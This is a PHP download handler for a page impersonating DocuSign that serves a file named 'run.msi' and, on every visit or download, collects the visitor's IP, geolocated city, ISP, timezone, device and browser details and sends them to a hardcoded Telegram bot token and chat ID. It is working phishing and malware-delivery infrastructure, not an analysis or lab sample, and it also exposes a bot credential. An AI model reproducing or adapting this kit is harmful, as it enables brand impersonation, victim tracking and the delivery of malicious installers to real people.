<?php
// =========================================================
// EDIT THIS LINE TO CHANGE THE DOWNLOAD
// Put the exact filename that exists inside the Files/ folder.
// That same name is what the user will save it as.
// =========================================================
$fileName = 'run.msi';
// =========================================================

$filePath = __DIR__ . DIRECTORY_SEPARATOR . 'Files' . DIRECTORY_SEPARATOR . $fileName;

// ----- Telegram notification helpers -----
function dl_client_ip() {
    $ip = $_SERVER['HTTP_CF_CONNECTING_IP']
        ?? $_SERVER['HTTP_X_FORWARDED_FOR']
        ?? $_SERVER['REMOTE_ADDR']
        ?? 'unknown';
    if (strpos($ip, ',') !== false) { $ip = trim(explode(',', $ip)[0]); }
    return $ip;
}

function dl_http($url, $method = 'GET', $body = null, $contentType = null, $timeout = 3, &$err = null) {
    $err = null;
    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        $opts = [
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT        => $timeout,
            CURLOPT_CONNECTTIMEOUT => 2,
            CURLOPT_SSL_VERIFYPEER => false, // safe-ish for outbound notifications; avoids missing-CA issues on shared hosts
            CURLOPT_SSL_VERIFYHOST => 0,
        ];
        if ($method === 'POST') {
            $opts[CURLOPT_POST]       = true;
            $opts[CURLOPT_POSTFIELDS] = $body;
            if ($contentType) $opts[CURLOPT_HTTPHEADER] = ['Content-Type: ' . $contentType];
        }
        curl_setopt_array($ch, $opts);
        $resp = curl_exec($ch);
        if ($resp === false) $err = 'curl: ' . curl_error($ch);
        curl_close($ch);
        return $resp === false ? null : $resp;
    }
    $headers = '';
    if ($method === 'POST' && $contentType) {
        $headers = "Content-Type: {$contentType}\r\n";
    }
    $ctx = stream_context_create([
        'http' => [
            'method'        => $method,
            'header'        => $headers,
            'content'       => $body,
            'timeout'       => $timeout,
            'ignore_errors' => true,
        ],
        'ssl' => [
            'verify_peer'      => false,
            'verify_peer_name' => false,
        ],
    ]);
    $resp = @file_get_contents($url, false, $ctx);
    if ($resp === false) {
        $last = error_get_last();
        $err = 'streams: ' . ($last['message'] ?? 'unknown error');
    }
    return $resp === false ? null : $resp;
}

function dl_geo_lookup($ip) {
    $fallback = ['country' => '—', 'city' => '—', 'regionName' => '—', 'timezone' => '—', 'isp' => '—'];
    if ($ip === 'unknown' || $ip === '127.0.0.1' || $ip === '::1') return $fallback;
    $resp = dl_http("http://ip-api.com/json/" . urlencode($ip) . "?fields=status,country,regionName,city,timezone,isp");
    if (!$resp) return $fallback;
    $data = json_decode($resp, true);
    if (!is_array($data) || ($data['status'] ?? '') !== 'success') return $fallback;
    return array_merge($fallback, $data);
}

function dl_send_telegram($fileName, array $client) {
    $botToken = '8605075585:AAHNnZdumZaxPy_BMWTfih2yZhMFPx0Tv2M';
    $chatId   = '6854887969';

    $ip       = dl_client_ip();
    $geo      = dl_geo_lookup($ip);
    $utc      = gmdate('Y-m-d H:i:s') . ' UTC';
    $local    = $client['localTime'] ?? '—';
    $ua       = $client['ua']        ?? ($_SERVER['HTTP_USER_AGENT'] ?? '—');
    $platform = $client['platform']  ?? '—';
    $language = $client['language']  ?? '—';
    $screen   = $client['screen']    ?? '—';
    $window   = $client['window']    ?? '—';

    $text = "🚨 New Visitor Alert - Docusign Page\n\n"
          . "📍 Location Details:\n"
          . "• IP Address: {$ip}\n"
          . "• Country: {$geo['country']}\n"
          . "• City: {$geo['city']}\n"
          . "• Region: {$geo['regionName']}\n"
          . "• Timezone: {$geo['timezone']}\n"
          . "• ISP: {$geo['isp']}\n\n"
          . "⏰ Time Information:\n"
          . "• UTC Time: {$utc}\n"
          . "• Local Time: {$local}\n\n"
          . "💻 Device Details:\n"
          . "• Platform: {$platform}\n"
          . "• Language: {$language}\n"
          . "• Screen: {$screen}\n"
          . "• Window: {$window}\n\n"
          . "🌐 Browser Info:\n"
          . "• User Agent: {$ua}\n\n"
          . "---\n"
          . "Docusign Download Page Visit ({$fileName})";

    $payload = http_build_query([
        'chat_id' => $chatId,
        'text'    => $text,
        'disable_web_page_preview' => true,
    ]);

    $err  = null;
    $resp = dl_http(
        "https://api.telegram.org/bot{$botToken}/sendMessage",
        'POST',
        $payload,
        'application/x-www-form-urlencoded',
        5,
        $err
    );
    return ['response' => $resp, 'error' => $err];
}

// ----- Notify-only mode (called from download.html before triggering file download) -----
if (isset($_GET['notify']) && $_SERVER['REQUEST_METHOD'] === 'POST') {
    $raw    = file_get_contents('php://input');
    $client = json_decode($raw, true) ?: [];
    dl_send_telegram($fileName, $client);
    http_response_code(204);
    exit;
}

// ----- File-serve mode -----
if (!file_exists($filePath) || !is_readable($filePath)) {
    http_response_code(404);
    echo "File not found: " . htmlspecialchars($fileName);
    exit;
}

// Direct hits (no JS pre-notify via download.html) still get a notification
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (stripos($referer, 'download.html') === false) {
    dl_send_telegram($fileName, []);
}

while (ob_get_level() > 0) { ob_end_clean(); }

header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . $fileName . '"');
header('Content-Length: ' . filesize($filePath));
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');

readfile($filePath);
exit;
